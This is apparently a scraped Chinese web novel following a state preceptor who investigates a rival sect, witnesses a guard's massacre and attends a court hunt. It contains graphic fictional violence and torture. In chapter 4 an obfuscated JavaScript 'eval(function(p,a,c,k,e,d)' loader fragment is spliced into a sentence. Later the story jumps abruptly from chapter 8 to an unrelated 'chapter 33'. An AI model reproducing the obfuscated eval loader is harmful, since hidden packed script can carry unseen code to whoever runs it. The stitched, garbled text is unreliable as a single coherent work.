要不还是回去找陈辙问问?这样会不会显得我太不关心他了?毕竟他是有定期给我写报告的,算了我还是自己慢慢看看报告好了。 嗯,先看看最近的,大概就是鹤影书斋新进了秦州的泰川笔,方便喜爱楂笔的文士选购;万福钱庄细化了防伪标记,使之更具安全性;燕州的云懿阁分部打算举办一次簪子主题聚会,欢迎燕州人士前往围观;三味坊优化了食材进购渠道,降低了成本消耗;桃夭庄更新了布料种类,可以出售浣花锦、软烟罗、轻容纱…… 看起来都很不错,所以到底是哪家铺子摊上事了? 算了,反正还有十天,看看哪家店有骚动应该就是哪家了。说起来既然三味坊是我家的,那现在先去吃一顿好的,顺便买个房子,话说陈辙开了这么多铺子怎么不开个客栈,出门在外怪不方便的,等下去找本地的万福钱庄分部问问房子的行情。 三味坊在京城开得不错,处于家喻户晓路人皆知的水平,我找了于州的路人问三味坊的位置,于州似乎没有人知道三味坊,都是摇摇头就走了。 钱庄很好找,占据中心地带还挂着个大匾,我出示了从来没用到过的盖私章的亲笔信,伙计愣了一下,带我去找大掌柜,一边走还一边时不时的回头看我,我觉得有些奇怪,就直接问了句为什么这样看我,伙计抓了抓头发,指了指我的剑:“您看着不像朝廷的人。” 我也觉得不像,不过这个时候回一句“是的”也许会显得我很蠢,虽然事实如此,但是这样可能会造成不必要的恐慌甚至让人产生国师手下都是智障的绝望想法,我决定什么都不说。 大掌柜看过了信后表示要设宴接待,我摆了摆手,跟他提了一下房子的问题。我不需要房子来住,然而我得靠房子掩饰我不是人这个事实。 钱庄一般都有不少贷款后抵押的房契,可惜我家的钱庄没开几年,手上只有几个,都是小门小户的,用大掌柜的话来说,不适合我这样的贵人来住。 其实我无所谓,本来也不是真的拿来住的,不过为了不犯傻,我只是点点头,听着他继续讲。 最后我暂时住进了大掌柜家里,大掌柜安排了工匠给我修新房子,我本来想自己掏钱,被大掌柜婉拒了,说是一点小钱就不要大人费心了,晚上还要去三味楼设宴,让他们尽地主之谊。 不是他,是他们,这就很麻烦,我记忆力不太好,到时候给我挨个介绍过去我扭头就忘了一个两个的,有点尴尬,不过我还是嗯了一声,看着大掌柜满意地走了,再关上门。 戴着斗笠没法吃饭,那加个半截面具好了,这个面具怎么做?做个什么样子的? 我没有改换容貌,这世上没有捅不破的纸,就算我改换了容貌也可能有人从性格或者其它线索上推理出我是国师,如果实在是被发现了我也不打算继续掩饰,继续掩饰可能不仅会被发现我是国师,还会被发现我是个傻子,但是吧,如果是因为吃个饭就被发现我是国师,这实在是显得太蠢了。 在我不停的修改中,晚宴的时间到了,大掌柜敲响了我的门,看着我出来,他搓了搓手:“周大人在京城里去过三味坊吗?” 我没有,也就如实回答了,跟着他走出门,大掌柜脸上笑意不减:“那大人该去看看的,三味坊可是我们这些铺子里最争气的,建立时间最短,名号却最响亮。” 名号最响亮?这与我之前的遭遇似乎有些出入。 “三味坊主打一个鲜字,无论海里还是山上的东西,从获得到桌上的时间不超过三天,超过四天的就给坊里的学徒练手,免费散给路人吃,也就是国师大人才养得起这样的铺子,好在现在客人多了,浪费的少。” 不我浪费不起,听起来就肉痛。 “可惜最近出了事,不过材料还是一样的干净,厨子也都没走,客人少是少了,问题解决了还是能继续开下去。” 那看来就是三味坊出了问题,我嗯了一声,表示有在听请继续。 “周大人是朝廷的人,或许不清楚我们于州这儿,民风剽悍,江湖组织一茬一茬的,连于州刺史都拿他们没办法,那些人进了门派,税都不交了。” 不交税这个我觉得可以理解,收保护费怎么缴税。 街边挂着一串一串的灯笼,于州没有宵禁,夜市相当繁华,三味坊外也是层层叠叠的灯笼,只是人却少得很。 我和大掌柜一起走进三味坊,路人有些诧异地看着我,三味坊底层的流水传菜席还在慢悠悠地转,座位上有几个衣不蔽体的可怜人。 大概是我的打扮有些古怪,门口聚集起了一些路人,我们上到二楼,在雅间坐下,陈辙手下于州其他铺子的掌柜也都到齐了,到了今天最难办的环节——记名字。 好在他们并没有为难我,介绍方式是“这是xx的x掌柜”,三味坊的蔡掌柜是个女人,这个擅长吃东西的女人并不胖,因为挑食而有些瘦弱,加上近日的麻烦,看上去很是憔悴,她看到我的时候高兴得快要哭出来了,旁边的云懿阁张掌柜轻轻拍了拍她的背,让她不至于过分失礼。 这让我感到压力很大啊,背负着众人的期盼什么的。 第3章 剑法我是会的,我看过很多人练剑,越女、聂政、裴旻、公孙大娘,他们的剑我都看过,装个剑客绰绰有余。 铮—— 我提剑撑开一只飞镖,短镖在空中打了个旋往回飞去,打开窗,外面的喧闹声顿时倾泻而入,我把剑一扔,砸到偷袭的人大腿上,他正在努力取出扎到手上的飞镖,这一下估计是痛过头了,直接晕倒了,看样子收拾收拾就可以开始审讯了。 审讯我也是会的,毕竟样本无数,不过本着人道主义思想,我没有一来就上什么乱七八糟的私刑,就是简单地处理了一下他身上的伤口,拉一拉家常,随便问问他就什么都说了。 这人是个普通的江湖游侠,也不是太普通吧,他是隶属于漂流坞的普通江湖游侠,原话是这样的“孙子居然还敢抓你爷爷我,我们漂流坞可不是吃素的,之前得罪了七色楼你们还没吃够教训?” 作为朝廷的人,我把他送到衙门处理了,至于客栈的赔偿,明天去漂流坞登门拜访一下。 漂流坞似乎是个大门派,那么大概是应该讲究先礼后兵,我以前见过的江湖帮会基本就是商帮,走南闯北的商人为了安全集结在一起,这样打打杀杀的江湖武林我倒不是很了解。 了不了解也无所谓,在打打杀杀这种事上,凡人和妖灵完全没有可比性。 “周大人,这里是有关漂流坞和七色楼的一些记录。” “放着吧。” 胖掌柜笑眯眯地关上门出去,我放下手里假装在看的书,拿起桌上的纸页,我并不需要这个,不过看看也很能满足一下我的求知欲。 漂流坞和七色楼的人以前是三味坊的常客,这倒不奇怪,爱之深才会恨之切,茅盾的起源在于七色楼的少主在免费供应的席位上吃坏肚子暴毙身亡,七色楼为他们的少主办了声势不小的丧礼,作为一个善于传播消息的八卦大派,很快周围的江湖游侠都知道了三味坊存在安全隐患,加上一些眼红三味坊生意的人的推波助澜,渐渐就传出了三味坊不把平民当人看,为富不仁,道德沦丧的谣言。 当然不是这样,别人不知道,我是知道的,说什么讲究新鲜,活生生的东西,放个十天半个月都放得,陈辙不过是想让利于民罢了,他现在应该很难过,也许我应该安慰一下他,但是该怎么显得很聪明的去安慰一个人,这就超出我的知识范围了。 所以我应该调查的是,七色楼少主为什么会暴毙而亡,饮食,人手,抑或只是心情不好自杀,由于太阳太晒而自杀的人类我也见过,甚至也可能根本就没死,他的尸体还没有出现在我面前,因此这个猜测也是有可能的。 往事不可追回,现在死没死还是很好查的,七色楼就在江边,距离三味坊一江之隔,我跟着七色楼楼主跟个几天大概就知道了。 七色楼楼主是个眼神混浊的中年男人,我到地方的时候可能挑的时间不太合适,这个中年男人正在眼睛放光地看着美人跳舞,其实这个还好,也就是我现在懂点事了,以前不懂的时候相关内容也没少看,后续如果正正规规的发展我也不是不能接受,然而在这个时候,房顶上突然掉下来一个人,这就很不对了。 七色楼真的是一座高楼,还是有那么十几层的,这个人要是跟我说她是走路脚滑掉下来的我是不信的。 来人丝毫不慌,还很有闲心地对着七色楼主露出一个狰狞的笑容,她抬手划了划,我看到七色楼主的手被丝线割成了两段。 “好看吗?我给你挑了颜色最正的朱砂。” 她的声音很沙哑,透着笑意,过于狰狞的神态让我看不清她的面容,沙哑的声线也令人不辨男女。 但这确确实实是个女孩没错,叶觉微所有的暗卫都是这个统一着装,看她的身高,年纪不会大,代表暗卫品级的青鸟绣了六只,叶觉微说过,他的暗卫里有个女孩快要及笄了,放出去嫁了总觉得不合适,毕竟是他的得力干将,这些年也了解了很多不该普通妇人知道的东西,不嫁又对不起她爹和她以往的功劳。 我当时说让她养男宠,然后叶觉微一个月没来找我玩。 现在一看这孩子果然很有养男宠的潜力。 她一步一步走了过来,七色楼主似乎在发抖,往后退了一小步,她突然伸手一拨,七色楼主的手臂就断了一截。 这楼主还挺能嚎的,比白天那个游侠还大声。 “幽州的罪妇钱氏,是在你这里?”话音刚落,七色楼主又断了一条腿。 这嚎得我都开始觉得烦了。 “你是想继续享受凌迟的快感,还是告诉我,钱氏在哪里?” 这一次她没有动手,只是站得近了一点,七色楼主却被吓得后退一步,被丝线刮了脖子,好在只是皮外伤,不影响回答问题。 “在……在地下三层,我儿子也知道!问他!你问他!别找我!别——” 他情绪太激动,自己撞到丝线上,头身分离,死了。 不过这个七色楼少主还真没死。 暗卫收回了丝线,踩着高跟鞋往下走,说是高跟鞋,其实跟也不怎么高,估计是鞋子里藏了暗器,走路叮叮铛铛的响,声势大得不像是个暗卫。 突发奇想的,我没有直接去找那个少主,而是跟着暗卫慢慢过去。 从楼顶到地下室,这段距离还是很长的,暗卫提着七色楼主的脑袋,脚步踩的很稳,一路也有不少人撞上,不是被吓跑就是被杀掉。 在群攻的打法上,她似乎比较喜欢去切割主动脉,鲜血飙射的场面会让她十分兴奋,死去的七色楼人鲜血沿着楼梯一路往下流,我跟着她走到地下三层时,血线刚好能淹没她的鞋跟。 第4章 地下三层的七色楼门人要尽职尽责得多,没有再被吓跑,我的视角一歪,是她侧身躲过了一个喷火机关,几颗青蓝色的小球从她衣袖里掉了出去,随之而起的还有扑面而来的烟雾。 叮叮铛铛的步伐节奏不变,若无其事地绕开烟雾中的青色火光,我听到了低低的笑声,像是为了证明我的听觉,笑声渐渐变大,越来越张狂,也越来越不像人声。 我难以理解其中情绪,仿佛在喜怒哀乐之外,难得一见。 暗卫的步子听上去很慢,实际上移动的速度很快,她抬腿踹开了烟雾后的门,门后是一男一女两人,一个脸色阴郁的少年和一个有些老态的妇人。 “李元武?钱氏?” 这糟糕的语气,仿佛是看到了什么好吃的东西。 少年把妇人护在身后,手抚上剑柄,隔着十尺,暗卫抬起了一只脚,一把匕首正好飞了过来,被她踩住:“我记得七色楼似乎是个名门正派?一个善用偷袭伎俩的名门正派?” 不等他开口说些什么,身体已经被红线绑缚了起来,暗卫把他甩到一边,走到了妇人面前。 “你有什么遗言吗?” “……大人,我错了,我回去,我现在就——” 一道寒芒划过,妇人垂下了头。 这次不止切断了血管,还切断了舌头。 看着她收剑入鞘,我产生了一些兴趣,本以为她是为着统一着装佩剑,但刚才那一剑其快准狠显然是个老手,既能兼顾剑法的修习,又能练得一手诡异线法,区区不到十五岁的年龄,杀人见血毫不露怯,已经走南闯北平了不少事端。 时时刻刻这样狰狞的表情,她在想些什么?喜怒哀乐之外的情感是凡人所能接受的吗?保持理智对于她来说是一件很辛苦的事吧。 这是个天才,也是个病人。 她把李元武丢到了衙门,用铁链穿过他的琵琶骨锁到门上,还撒了点止血药剂,没有麻醉散止疼药,我看着李元武的脸色阴郁得快要发霉了。 于是第二天我在漂流坞得到了十分尊贵的待遇,有什么给什么,要什么送什么,有几个小孩甚至看着我瑟瑟发抖,仿佛我马上要去把他们吃了。 由于昨晚的暗卫没有跟于州刺史报告这是他们做的,现在这个灭了七色楼满门的锅暂时是我的了,也许并不只是暂时,毕竟她压根没有斩草除根,说是满门其实跑了很多人,为了防一手反杀,叶觉微把这锅一直扣我脑壳上也是可能的。 说起来也是惨,这些年什么抄家灭门都是国师做的,又每次都没清理干净,扶弱助困都是皇帝带着他的暗卫们干的好事,叶觉微现在就喜欢听着民间编排他的话本子睡觉,还拉着我去听一个霸道帝王俏遗孤的故事,据说这题材还挺火。 我要是有话本子里那么心机深沉气场满满,我还当什么国师,我就抛弃叶觉微单干了。 由于李元武还活着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“小生曾有一部话本子写过陛下与灭门遗孤的旷世奇缘,然而话本子毕竟只是话本子,当不得真,这次要说的是曾经的秦州知府陈大人——的儿子。”说到这里,说书人刷的一下打开了扇子,“小生与那些常驻某地的说书人不一样,流落江湖,走南闯北,是去过秦州打拼的,摸着良心说,那陈大人就是个杀千刀的,正所谓三年清知府,十万雪花银,若非贪官污吏官官相护,小生又哪里需要去跑江湖,三亩地,租的也好,一头牛,借的也行,总好过江湖水凉,冷暖不顾。” 看着听众们有些动容,说书人一收折扇:“今日要讲的陈大人的儿子,却不是所谓的嫡子庶子,而是一个外室子,这外室子的亲娘是个良家女子,那姓陈的心慕女子好颜色,那妇人当年不过豆蔻之龄,见如此才子自然心悦臣服,只是还有几分骨气,不愿与人做妾,姓陈的便谎造身份,让那妇人一家以为他是个上进的寒门后生,妇人嫁过去不久就不再受宠,这外室子年龄不大就得去铺子里打工养家,他经过这番难得的生世经历,年纪轻轻就在秦州扬名一方,两年前去过秦州的人想必已经知道他是谁了,不错,正是如今在国师府就职的陈辙陈易初。” “这陈辙做了官,还是不改喜欢经商的老毛病,不为国师出谋划策,还忙里偷闲开了个三味坊,这次七色楼灭门一事,毫无疑问,又是国师的手笔。”说到这里,说书人语气慢了下去,观众的情绪被彻底煽动了起来,我的瓜子剥完了,想想我吃了也不会饱,就把一碟瓜子给了邻桌,出门打算再添点。 “小二,叉烧鱼。” 迎面走来了一个湖绿衣裳的小姑娘,带着斗笠,让人看不清表情。 “好嘞!二楼15号桌,叉烧鱼,客官请稍等。” 小姑娘带着佩剑,剑鞘上的青鸟盘旋而上,她安安静静地坐在位置上,乖巧得像个布偶娃娃。 第5章 长安城里的枫林如火,红不过陈辙看到叶觉微送我的话本子时的脸色,他最近总是看着我欲言又止,我大概知道是怎么回事,又怕自己猜错了,毕竟我脑子跟人类的构造不一样,就不敢主动解释。 “大人,需要在下做点别的什么吗?”今天陈辙在书房犹豫再三终于说了出来,说完后又不敢抬头,我有些莫名其妙,还是用一概的三无态度回复:“不用。” 所以他纠结半天只是为了多捞个兼职?可是我没什么钱发工资了啊,我有多少钱他又不是不知道,都这样了还来,太过分了吧,要不是我还花着他赚的钱我就生气了。 陈辙问完就走了,叶觉微又过来了,还带来了之前在七色楼看到的小姑娘,他一来就给暗卫姑娘拖了个椅子,拍拍椅背让她坐下,一边还伸手找我要点心。 “喏,这是十一,十一啊,这是国师,你直接叫他周元也行,他不讲究这些,”叶觉微也坐下,抿了口茶:“又是陈辙给你的新茶啊,朕都有点嫉妒了。” “那你给他个官位,他就给你做事了。” “呵呵,”叶觉微的神色有些阴沉:“身在曹营心在汉,不要也罢。” 这我就不懂了:“他就给你赚点钱淘点东西,不在汉也没关系。” 被叶觉微用看傻逼的眼神审视了一遍,还好十一的眼神依然正常,这样就显得只有叶觉微格格不入像个傻逼。 “喝你的茶吧,”叶觉微翻了个白眼:“也就你只知道把他当商人用。” 陈辙的茶我还没喝多少,每次都开最新的,浪费了好多,以后还是叫他别送了。 “你收易初的税差不多都二税一了,怎么还总过来蹭我的?” “你的比较有仙气。” 哦,也许吧。 我跟叶觉微聊正事一般都在御书房,他过来找我都是来玩的,一开始我还正正经经地打算把三无贯彻到底,后来发现他越来越崇拜我,但我并不值得崇拜,尤其是被一个国家领导人,就跟他多说了几句,叶觉微当时是比较懵逼的,然后迅速接受了这个现实,并且突然嚣张。 估计待会他又要喊着“普天之下莫非王土”顺走陈辙给我买的一些新东西,这家伙表面上装出一副封建帝王的高阶层素质去嫌弃陈辙,背地里跟陈辙的品味一模一样。 “过两天秋猎就开始了,你也过去吧,那群老东西又发疯,跪着求你过去。” 我点点头,这也怪不了他们,我背的锅确实太多了。 “到时候就跟着你吗?我没参加过秋猎。” “你随意,反正你也不会出事,违反了什么破规矩朕给你兜着。”说着晃了晃茶杯敲了敲糕点盘子,我抬手给他续上,顺便给十一也续了一份。 我没什么想说的,基本就是叶觉微问什么答什么,最后他如我所料地抱着一罐茶走了,十一回头看我一眼,也跟着他走了。 说起来他也不是空手上门,又给我塞了新的话本子,不过这次的话本子包装风格有些不同,所以他一走我就打开看了,没有跟之前的一样放着积灰。 内容,怎么说呢,很劲爆,书里“陈辙”是攻,“国师”是受,“国师”是一个本性特别纯良好骗的纯情小仙人,被搞得□□还相信“陈辙”的鬼话,甚至还有“国师”被“皇上”当面ntr全过程,不一样确实不一样。 翻了一下以前叶觉微送我的几本话本子,我的人设居然都是傻白甜小仙人,我看起来有那么傻吗?糟了,什么时候暴露的? 想不出来,这个时候可以解决发现问题的人,记下这些作者笔名,让陈辙去书坊查,查到了就威胁他们把我写得聪明一点。 可是这样反而会有些此地无银三百两,而且言论应当是自由的,那只能先这样了,古代应该不会有人相信这些杂书的看法的吧。 放好叶觉微送的书,还是继续干我的本职工作,之前从应州齐府查出来的帐我还没翻完,本来这事可以交给陈辙的,不过那样的话就显得我一天到晚都是游山玩水吃喝玩乐,跟朝臣说的差不多了。 应州当地官匪勾结,官员纵容江湖人士□□烧,收留被各地通缉的江湖人,别的地方人们敬仰侠士是因为他们的侠义心肠,这个地方是因为江湖人士就是高人一等,这种现象循序渐进的演化了很多年,导致齐家倒了以后追杀我的大部分都是应州人士了。 不过叶觉微直接抄了齐家满门也确实是有点过了,虽然对着他们家脚踢蔬菜摊拳打首饰铺的女眷是很难升起同情心。 上次理出来这个账册有几个数据与幽州那边有关,正好前不久看到了幽州钱氏,幽州近年来被抄家的是李家,和李元武也对得上,倒不妨再去幽州查查,顺便去幽州的三味坊看看。 这次得改个名字,毕竟前不久“周大人”才在于州出现过,那这次就刘大人吧,装束也得改改,因为我不打算改体型,换个精致点的斗笠,衣服就拿件陈辙送的吧,系个鱼袋,这样稍微有点朝廷人的感觉。 还是上次的信封,还是熟悉的流程,掌柜还是想给我掏钱买房子,这次没人说我不像朝廷人了,不知道是真的这么觉得还是这次的人比较缺乏好奇心,我在三味坊掌柜的家里暂时住了下来,也不知道这次能不能住到房子建成。 第6章 幽州离边境很近,民风剽悍开放,我在三味坊一打开窗就能看到以前李家的宅子,灰扑扑的,也没有新人来买下,这里的生意似乎一直都很好,人来人往络绎不绝的,说书人的声气也格外有力,便宜了我这样又想吃饭又想听书的人。 “那钱家郎啊,平生不爱金银,不好吃喝,就一点儿,喜欢美人,你说少年郎好美色也是常事,可这钱家郎却偏偏不同……” “那一代钱家只有一个传宗接代的男丁,虽然父母早亡,但是姐姐高嫁,又常常补贴娘家,亲戚恰巧都是特别和气的,没有人抢夺家财,反倒对他多有照顾,按理说,就算只是坐吃山空,他一辈子也不会过得太差。” 是早年间的案子,钱家那个少年未及弱冠,小小年纪就开始调教女奴,据说青鸾卫查到他的时候,府里的枯井塞满了少女的碎尸,那里的姑娘根本无法理解常人的行为,说是行尸走肉,却还知道讨好男人,只是一旦周围没有男人就开始发抖,病死了许多,最后没有一个人恢复正常。 古代没有心理医生,心态被扭曲了,就很难自己想回来。 这样的案情过于骇人听闻,对外只说是钱某强抢良家妇女,也不知道是以讹传讹还是钱家刻意隐瞒事实,良家女的身份越传越高贵,竟有人给他们写了言情的话本子,往后便一发不可收拾。 郎情妾意的戏码总是传唱不绝的。 “那姑娘一时撩帘望,恰是他呼朋唤友打马街头,丫鬟急急地扯下帘子,却没快过这天赐缘分……” 那些姑娘,据说是都死了。 冰糖雪蛤,葱烧海参,冬笋竹荪汤,都是很好的菜,我却觉得想让厨房加些盐。 正午的阳光熏暖,抵不过秋风的寒意,有人在身前坐下时,掀起一阵凉风,我看了看他,关上了窗。 “这位,可是朝廷的大人?” “算不上大人。” 对面虎背熊腰的中年人拱了拱手:“有请贵客,不妨入内详谈?” 我点点头,中年人的手满是硬茧,估摸着功夫不弱。 他们包的雅间有个很大众的名字——听雨轩。 看着对面一人正正经经严阵待发的样子,不着调地想着以后我也许可以写一本《我与三味坊常客不得不说的故事》? “在下鼎剑门掌门孙知雨,”这个看上去十分严肃的中年人用一种很符合他气场的语速缓缓说道:“既然先生是朝廷中人,敢问,可有幽州通缉犯人肖拓的消息?” 既然叶觉微那边没来找我查过这个人,那要么是快要抓到了,要么是已经抓到了,我点点头,但是我这边实质上是没有收到什么消息的,刚才的想法也只能算推断,可是这个时候再摇头会显得很蠢,我选择保持沉默。 孙知雨也在沉默,与我的表面沉默不同,他沉默得很有韵味,很有内涵,很有经常沉默的熟练感,让人感觉可以从他脑袋里抖点盐出来。 “吃菜吃菜!先生是贵客,可慢待不得!”旁边突然伸过来一筷子菜,打破了我们的沉默,我嗯了一声,拿起筷子,孙知雨也不再板着脸,我们保持着莫名的默契,都没有继续提肖拓。 吃完跟着他们去结账,孙知雨说这顿算他请我的,这还是头一回有人要请我吃饭,然而在掌柜看到我的时候,就直接给他们免单了。 本想在幽州的世家大族里找找李家出嫁女,也许那笔账只是被添作了嫁妆,今天找上门的这群人给了我一个新思路,可以从通缉犯开始查,虽然这样做很费神,但是这个世界与现世并不相同,似乎存在着一种叫做灵气的东西,可以缓解我的疲劳。 先找衙门存的通缉令,再从镜面抓取图像核对,一开始有些生疏,做到后面效率快得不可思议,只是一下午就查出了上千的相似人相,到夜间有宵禁,很多人开始睡觉,我就先排查一下还没睡的一百五十三个目标。 其中大部分是彻夜作案的罪犯,这样的人好处理,基本上是当场人赃俱获丢到衙门口,三分钟一个,碰到请医问药的就只能先记下周围人对他的称呼和籍贯,不惊动他,最后再查。 在我查到第九十六个目标的时候,听到旁边的人喊了一声肖拓,被喊到的人放下矿锄,拖着残腿走到矿井外,速度不慢,显然是身怀武功,拿了自己的干粮就去棚屋里歇下了。 后半夜我还是把剩下的疑似对象查完了,登记了五十二个人,抓到一百零一个罪犯,把矿井肖拓列为重点关照对象。 早晨在掌柜家吃了早餐,一堆各式各样叫不出名字的面点,掌柜说是为了招待我做的特色菜,我想了想,还是跟他说以后别这样了,我随便喝点粥就行。 我的口腹之欲只是我觉得我应该想吃,我能识别出好吃和难吃,但就如冷热一般,无论好吃和难吃都对我造不成影响,给我吃得太好挺浪费资源的。 吃完饭就开始干活了,矿井旁的工人们在喝粥,肖拓也在其中,就是普通的白粥,没有多稠也没有多稀,看着没滋味,我从厨房顺了盐罐过来,趁他们不注意放了点盐,自己舀了点尝尝。 他们喝完粥就去挖矿了,这些矿工似乎都有些武力,比常人力大,中午没有粥,只有水和干粮,晚上也一样,中途我跟掌柜告辞,叫管家收拾了一下秋猎可能会用到的东西,回来看着肖拓一口气工作到深夜,像昨天一样回棚屋睡觉。 又是早晨,带上管家收拾的东西,我是打算自己一个人过去的,反正叶觉微说不用守规矩,打断我计划的是几个被管家带进来的禁军侍卫,说是府外还停着一个仪仗队。 到了松山,叶觉微亲自扶我下轿,我向官员的方向看了一眼,不出所料的都是一脸怒容,只是克制得好与不好罢了。 后知后觉地想到他们可能是想把我永远留在这里,也不知道今天肖拓是不是也在喝粥。 第7章 秋猎正式开始,我就走走看看,没准备上马打猎,叶觉微这会在夸几个年轻人,他真的很会装,大臣们现在看着他就露出欣慰的笑容,看着我就杀气四溢。 这些大臣我单方面其实都挺熟的,毕竟德行不过关的都被我和叶觉微偷偷整治了,现在不是有把柄在他手上就是撤出中央早晚弄死,新收上来的也都清查过了,看起来好像是大手笔,实际上没换几个人,所以叶觉微至今对朝堂上的“老顽固”们咬牙切齿又不敢不从。 不到中午,已经来了三波刺客,还没轮到我出手就被侍卫们料理完了,对于为什么我在重重包围下他们还敢来这一点我也很好奇,这些刺客的武功也很稀松平常,不存在艺高人胆大的情况。 在我吃完一个从曹国公府送来的味道古怪疑似下毒的虾饼时,一个名叫何磐的年轻小将来找我,是在一年前剿匪升官上来的,我对他的经历很清楚,幼年失怙,小时候和乡间族里斗,长大点的时候母亲再嫁,于是开始了宅斗,十五岁宅斗失败被继父送去充军,十八岁攒够功勋回朝当了个衣食无忧的小官,刚上任就把还在富商继父家里的两个亲妹接了过来,将继父当庭杖杀,二十岁时掌控了当地势力,此后一锅端掉了周边匪类,上报朝廷请功。 我和叶觉微权衡了一下这个人再外放几年可能造成的后果,为了中央集权把他调到了中央。 他是来找我去看风景的,说是松山古道空翠,邀我同游。 我看了一眼叶觉微,他在和权贵们进行亲切的交谈,没在意何磐,就打算去看看风景,结果我一动一大坨禁军就跟着动,只能开口叫停,于是我一个人跟何磐走了。 山道就是普通的石道,山间有雾,朦朦胧胧中透出苍翠竹色,何磐说前面有瀑布,所以雾气特别重,这一路过来又碰到几个刺客,有放冷箭的,也有手持大型冷兵器的,甚至还有一些特殊的化学武器,闻到火药味的时候我转头看向何磐,他很困惑的问我怎么了,这个时候火药包已经被丢出来了。 这么大的雾,我也不用想办法掩饰,空气中的一滴水就是一面镜子,让周围的水滴镜面交错链接,所有武器和刺客都打不到这来,只能不断在我们周围绕圈。 直到我们一路走到瀑布,何磐问我可否屏退左右,我才把刺客们都送去山下,然后嗯了一声,他先向我鞠了一躬,笑言道:“多谢大人引荐。” 我知道这个时候该问他为什么会觉得是我引荐的,但是我要保持高冷,所以只淡淡地回了一句不必如此。 “下官出身贫贱,不比朝堂公卿,因此对生民之利更为计较,自大人入宫以来,百姓生活的毫厘之变,下官都看在眼里。” 我没吭声,不是很懂他在说什么,我并没有刻意插手过底层人民生活,不然这会至少蒸汽机该出了,所谓的变化,应当归功于当前还算清正的朝廷诸公。 “如今朝堂之上世家大族,皇室宗亲,寒门举子,相互牵制,平衡朝堂,全赖大人一力促成,然以下官愚见,大人尚还遗漏了一处势力。” 势力?我没想平衡什么,当然无法给出答案,只能静静看着他。 何磐也没等我回答,他停下来喘了口气,又继续道:“是江湖,若由大人派出府内高手宣扬正义,令陈辙供给物资珍宝,想必不乏才德双全之辈投靠,武侠好斗,此后若以此为黑白两道则昼夜相斗不与朝廷相争,若扶持良善之辈除尽江湖奸邪则天下一清,若此人成事不足,事情败露,以江湖之乱,只需一死,就可以重头再来。” 他这下是说完了,恭恭敬敬地低着头,也许这计策不错,我也没法确切评判,人的反应总让我难以预料,所以我学着面试官的样子对他说:“嗯,我会考虑的。” 回程路上他看上去很兴奋,不过再怎么也兴奋不过一波一波新来的刺客,然而即使在围成马蜂窝一样的刺客群里杀出重围,大臣们依然坚信着我只是个普通人类,权术骗子,某种意义上他们是有着超越时代的非常年轻的思想认识。 叶觉微一直在展现他的风度,等到晚上我才能去找他,还得先通传,然后跟着认识路的太监过去,路上碰到刻意堵我的大臣若干,他们今天骂我的话我早就听过了,对于没有多少情绪的我来说,什么小白脸竖子奸佞小人并不能让我产生波动,如果说我是偷窥狂或许还能让我礼貌地表现出几分心虚。 谈完这事我就走了,我没什么想聊的,不打扰他忙正事,他还要找十一商量细节,这种事他要牢牢掌控在自己手里才安心。 接下来的几天照旧,刺客还是那么多,侍卫还是把我围成团,偶尔会路过一两个不甘寂寞的大臣或者贵公子,二话不说冲过来打我,侍卫不敢拦或者不想拦,我也不想把他们打死,毕竟它们这态度正是我和叶觉微想要的,如果打死了几个人,他们就只能暗搓搓讨厌我了,民间也会对我“抄家灭口”的恶行遮遮掩掩,这样叶觉微那个凡人生存风险就会变高。 最后一天,为了报复这几天对他关怀备至的臣下,叶觉微带着我上了围猎场,对我嘘寒问暖无微不至,效果很明显,秋猎结束时大臣们对我的愤怒达到了最高点,这几天渐渐减少的刺客突然又多了起来。 当然也有例外,比如何磐给我送了张请帖,我还没去大臣家吃过饭,默默把这事提上日程。 一晃二十天过去,肖拓依然在老老实实挖矿,陈辙又站在我面前扭扭捏捏地开了口。 他还是想在我这里领两份工资。 第8章 我府里的结构是这样的,一个主要管给小孩发零花钱的管家,白铭仁,四个好好学习天天向上的小丫头,春冽、夏灼、秋仪、冬末,全是叶觉微送我的,府内最大的活动就是给几个小孩考试检验学习成果,并没有别人想象的组织森严杀手成群。 这个别人也包括陈辙,他觉得他的小事每次都来麻烦我不好,想直接跟我手下的杀手头子联系,为了名正言顺还想跟我要个家臣的位置。 我寻思我杀手头子也没有,家臣也不需要,正想拒绝,抬头一看陈辙快哭了,为了保证他的工作效率,我慎重考虑了一下,答应了他拿两份工资的要求,杀手头子我懒得给他变出来就拒绝了让“他们”直接联系。 得知这条消息的叶觉微半夜过来把我劈头盖脸地骂了一顿,说是这样陈辙再也不可能洗白了,我安安静静地听他发泄,顺便给他倒了杯茶,最后他又抱着茶罐走了。 33. 第 33 章 山矾走在路上,走近了一间小屋,又走近了一间小屋,再走进了一间小屋。 世界上有那么多的小屋,为什么没有一间属于山矾的小屋? 山矾走着走着,停下来了,她抬起头看着眼前的小屋,这是一个很小的屋子,不大不小刚好能住下两个人,山矾走过去坐了下来。 屋内一片漆黑,山矾摸索着找到了桌上的蜡烛。 灯火被点燃,照亮了整个屋子。 这里是一个小院子,山矾站在屋内,屋内有五六个人,他们穿着破烂的衣服,手中拿着木棍和石块。 他们在干什么呢?山矾皱眉。 一个人朝前走了一步,他的衣服比其他人更破旧,泥土粘在袖口边缘,他举起手中发烂的木棍,用另一只手擦了擦脸上的脏污。 他盯着山矾,上下打量:“你是谁?” 屋内的氛围变得凝重起来,几个人将目光转向山矾,有些警觉地握紧手中的石块和木棍。灯火微弱,墙角的影子拉长,像是活物一样仿佛马上就要朝她扑过来。 山矾站直身子,后退半步:“我只是路过……我迷路了。” 另一个人从人群中站出来,她看上去年纪很大,头发花白,眼神十分锐利。 她神色不善地看着山矾。 她猛地向前一步,枯瘦的手指几乎戳到山矾脸上去:“滚出去!这里不是你该来的地方!” 另一个成年人挥舞着木棍,黑着脸看着山矾大声怒吼:“听见没有?这是我们的地盘!” 角落里传来几声附和。 “就是,快滚!” “别想打什么歪主意!” 山矾的肩膀微微颤抖,手指紧紧攥住自己的衣角。灯火照在她苍白的脸上,属于她的影子被拉得越来越长,在暗处渐渐抬起头,露出了笑容。 “对不起……”山矾的声音轻得像蚊子叫,“我这就走。” 她说着,转过身就要离开这里。 山矾的双腿突然发软,膝盖重重磕在粗糙的木质地板上。布包从肩头滑落,里面的东西散落一地——几件洗得发白的衣物,半块干硬的糕点,还有一张泛黄的画像。 “你们……”她的声音哽咽着,“为什么要这样对我?为什么?啊?为什么?!” 